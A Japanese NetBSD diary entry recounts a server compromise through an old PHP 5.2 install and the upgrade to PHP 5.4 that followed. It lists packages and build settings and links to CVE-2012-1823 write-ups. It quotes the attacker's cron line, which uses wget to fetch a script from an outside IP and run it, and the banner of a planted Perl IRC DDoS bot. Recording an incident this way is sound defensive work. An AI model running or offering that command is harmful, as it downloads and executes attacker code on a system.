NetBSD 絹の日記

05/18 の日記に、「任意の bash or perl script を実行」そして、「一応手当てしたけれど」と書いた
どうもこれは php-5.2.14 が入っていた所為らしい。 crontab を書替えられる、とか、散々だった。

#@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh

こんなものも perl.txt.1 という名前で置いてあった

#!/usr/bin/perl
 
#############################################################################
#############################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [ Help ] ####
##      Stealth MultiFunctional IrcBot writen in Perl          ##############
##        Teste on every system with PERL instlled             ##  !u @system

それで次の版に更新した

php-5.4.26nb1       PHP Hypertext Preprocessor version 5.4
ap2-php54-5.4.26    Apache (apache2) module for PHP5.4
php54-mysql-5.4.26  PHP extension for MySQL databases
php54-pgsql-5.4.26  PHP extension for PostgreSQL databases
php54-mbstring-5.4.26 PHP extension for multibyte characters support

この時に必要だった packages は次の通り

-rw-r--r--  1 makoto  wheel   2885641 Jun  1 09:52 openssl-1.0.1gnb1.tgz
-rw-r--r--  1 makoto  wheel     22049 Jun  1 09:25 php54-mysql-5.4.26.tgz
-rw-r--r--  1 makoto  wheel   2164469 Jun  1 09:24 ap2-php54-5.4.26.tgz
-rw-r--r--  1 makoto  wheel     45785 Jun  1 09:02 php54-pgsql-5.4.26.tgz
-rw-r--r--  1 makoto  wheel    631550 Jun  1 08:53 php54-mbstring-5.4.26.tgz
-rw-r--r--  1 makoto  wheel   4432685 Jun  1 08:52 php-5.4.26nb1.tgz
-rw-r--r--  1 makoto  wheel  11736461 Jun  1 08:00 mysql-client-5.5.36nb1.tgz
-rw-r--r--  1 makoto  wheel   2940164 Jun  1 07:53 apache-2.0.65nb2.tgz
-rw-r--r--  1 makoto  wheel   2822900 Jun  1 07:44 postgresql91-client-9.1.12.tgz
-rw-r--r--  1 makoto  wheel    435917 Jun  1 07:21 apr-0.9.20.2.0.65nb1.tgz
-rw-r--r--  1 makoto  wheel   2122095 Jun  1 06:34 libxml2-2.9.1nb1.tgz
-rw-r--r--  1 makoto  wheel    323576 Mar 22 07:02 xz-5.0.5.tgz

他の chrooted の 5.2 の機械で pbulk で作った。その時に使った limited list は次の通り

lang/php54
converters/php-mbstring
databases/php-mysql
databases/php-pgsql
www/ap-php

また (chroot の中の) /etc/mk.conf に次のようにも書いておいた

PKG_PHP_VERSION=54
PHP_VERSION_REQD=54

pkg_delete -n hoge を使って調べながら、手動で一つづつ入替えた。 (関係あるかな)

Linux IRC Trojan attacks using PHP (http://humbug.me.uk/linux/trojan.htm)

ニフティクラウドとさくらのVPSに来る悪い人を比べてみる (http://d.hatena.ne.jp/ozuma/20140323/1395506938)

CVE-2012-1823 (http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html)

CVE-2012-1823 (IIJ) (https://sect.iij.ad.jp/d/2012/05/087662.html)

2014年06月01日(日) 旧暦 [n年日記] [更新:"2014/06/01 10:19:22"]

#1 [pkgsrc] DDoS